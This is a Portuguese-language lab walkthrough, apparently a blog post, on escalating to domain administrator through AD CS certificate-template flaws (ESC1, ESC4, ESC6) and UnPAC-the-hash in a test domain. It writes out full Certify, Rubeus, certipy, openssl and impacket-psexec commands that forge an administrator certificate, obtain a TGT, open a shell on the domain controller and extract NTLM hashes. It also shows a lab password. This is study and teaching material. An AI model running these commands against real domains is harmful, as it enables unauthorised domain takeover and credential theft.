2 minuto(s) de leitura

ESC1

A vulnerabilidade ESC1 permite que um atacante controle o campo subjectAltName (SAN) em um certificado gerado. Ao modificar este campo, um certificado pode ser criado para autenticar como qualquer usuário desejado (administrator, por exemplo).

Tentando acessar o DC

Untitled

Como a Mônica não é Administradora de Domínio, não possui permissão para ler a pasta.

Deixando o Modelo Vulnerável

Alterações iniciais necessárias para deixar um modelo vulnerável.

Untitled 1

Na opção de gerenciamento dos Modelos de Certificado, escolha o modelo Workstation Authentication e adicione o seguinte “Domain Users”, o seu usuário sem privilégios (no exemplo, monraybrandt) e um usuário com privilégios (no exemplo, cbricks).

Encontrar o Template Vulnerável

Certify.exe find /vulnerable

Untitled 2

Untitled 3

Gerando o Certificado

Certify.exe request /ca:DC01.redteam.corp\redteam-DC01-CA /template:Workstation /altname:administrator

Untitled 4

Untitled 5

Copie todo o código gerado (RSA PRIVATE KEY e CERTIFICATE) para um arquivo chamado “cert.pem”.

Conversão

Utilize o openssl para converter o “cert.pem” em cert.pfx”, como diz o comando o final da imagem.

OBS: a senha é opcional.

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Untitled 6

Pedindo o Ticket

Com o certificado feito, pode-se especificar o nome do usuário e pedir pelo TGT (Ticket Granting Ticket) para o KDC.

Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /domain:redteam.corp /ptt

Untitled 7

Untitled 8

Verificando o Ticket

klist

Untitled 9

Acessando o DC

Untitled 10

ESC4

A vulnerabilidade ESC4 envolve modelos de certificados que têm permissões de controle de acesso (ACLs) mal configuradas, permitindo que usuários não privilegiados modifiquem as propriedades do próprio modelo. Um atacante com permissões de escrita pode modificar suas configurações para introduzir vulnerabilidades de ESC1, ESC2 ou ESC3, e assim escalar privilégios na rede.

Deixando o Modelo Vulnerável

Untitled 11

Salvar a configuração do modelo User

certipy-ad template -username [monraybrandt@192.168.1.40](mailto:monraybrandt@192.168.1.40) -password 'M0n1c4!' -template User -save-old

86fda4ac-3dc3-4dae-9755-52d7ec3c1dda

Alterar configuração e requisitar certificado

certipy-ad req -username monraybrandt@DC01.redteam.corp -password 'M0n1c4!' -ca redteam-DC01-CA -target DC01.redteam.corp -template User -upn administrator@redteam.corp -debug

2badef11-338b-4e1c-bb7b-5b602cf91a88

Como que o certificado vai ficar

Untitled 12

Requisitar TGT

A autenticação como administrador acontece com o arquivo PFX e suas as credenciais são salvas no dispositivos (arquivo de cache).

certipy-ad auth -pfx 'administrator.pfx' -username administrator -domain redteam.corp -dc-ip 192.168.1.40

3ca9cc70-7038-45a8-b4b9-1b2e481b01c6

Arquivos gerados até agora

71706e53-0785-410e-a031-58557b0e33f3

Usando credenciais salvas em cache

a184a61f-274b-42f5-8d68-7d487da77374

Conectar utilizando psexec

impacket-psexec -k -no-pass -debug -dc-ip 192.168.1.40 administrator@dc01.redteam.corp

Untitled 13

Executando comandos

Untitled 14

Restaurar a configuração anterior

certipy-ad template -username [monraybrandt@192.168.1.40](mailto:monraybrandt@192.168.1.40) -password 'M0n1c4!' -template User -configuration User.json

Untitled 15

ESC6

Mesma coisa que o ESC1

UN-PAC the Hash

Ao usar o PKINIT para obter um TGT (Ticket Granting Ticket), o KDC (Key Distribution Center) inclui no bilhete um PAC_CREDENTIAL_INFO estrutura que contém as chaves NTLM (ou seja. hashes LM e NT) do usuário de autenticação. Esse recurso permite que os usuários alternem para autenticações NTLM quando os servidores remotos não suportam Kerberos, enquanto ainda dependem de um mecanismo de verificação de pré-autenticação Kerberos assimétrico (ou seja. PKINIT).

As chaves NTLM serão então recuperáveis após um TGS-REQ através de U2U, combinado com S4U2self, que é uma solicitação de Ticket de Serviço feita ao KDC onde o usuário solicita a autenticação para si mesmo.

Untitled 17

Aproveitando o “cert.pfx” gerado no ESC1.

Rubeus.exe asktgt /getcredentials /user:administrator /domain:redteam.corp /certificate:cert.pfx /show

Untitled 18

Untitled 19

Deixe um comentário